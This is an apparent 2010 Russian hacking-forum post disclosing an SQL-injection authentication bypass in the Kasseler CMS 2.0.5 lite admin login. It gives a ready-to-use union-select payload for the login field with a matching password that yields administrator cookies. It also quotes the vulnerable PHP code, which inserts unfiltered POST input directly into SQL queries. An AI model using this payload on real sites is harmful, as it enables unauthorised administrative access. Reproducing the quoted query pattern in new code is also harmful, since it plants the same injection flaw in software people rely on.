
01.04.2010, 17:23
|
|
Новичок
Регистрация: 11.02.2009
Сообщений: 20
Провел на форуме: 72081
Репутация:
13
|
|
SQL Inject Kasseler 2.0.5
Продукт: Kasseler CMS
Версия: 2.0.5 lite
SQL-Injection
Условия: magic_quotes = Off
Модуль Авторизации \admin.php
Недостаточна фильтрация $_POST['login'], таким образом можно подменить результаты запроса и получить админские куки
В поле логин "login' union select 'login','d56b699830e77ba53855679cb1d252da',2 /*"
В поле пароль "login"
Уязвимый участок кода в \administrator\login.php
PHP код:
if(!isset($_SESSION['admin'])){
if(isset($_POST['login'])){
//Поиск пользователя
$result = $main->db->sql_query("SELECT user_name, user_password, user_level FROM ".USERS." WHERE user_name='{$_POST['login']}'");
if($main->db->sql_numrows($result)>0){
$info = $main->db->sql_fetchrow($result);
//Проверка пароля и права администрирования
if($info['user_password']==pass_crypt($_POST['password']) AND $info['user_level']>0) {
//Создание сессии администратора
$_SESSION['admin'] = $main->user['user_name'];
setcookies($_POST['login'].",".$info['user_password'], $main->config['admin_cookies']);
if(!is_user()){
//Если не создана сессия пользователя то создаем ее
setcookies($_POST['login'].",".$info['user_password'], $main->config['user_cookies']);
//Обновляем информацию о пользователе
$main->db->sql_query("UPDATE ".USERS." SET user_last_os='".kr_filter($main->agent['os'], TAGS)."', user_last_browser='".kr_filter($main->agent['browser'], TAGS)."', user_last_ip='{$main->ip}', user_last_visit=NOW() WHERE user_name='{$_POST['login']}'");
//Регистрируем сессию
$session->register($_POST['login']);
}
redirect($adminfile);
}
}
}
зы возможно присутствует и в ранних версиях
|
|
|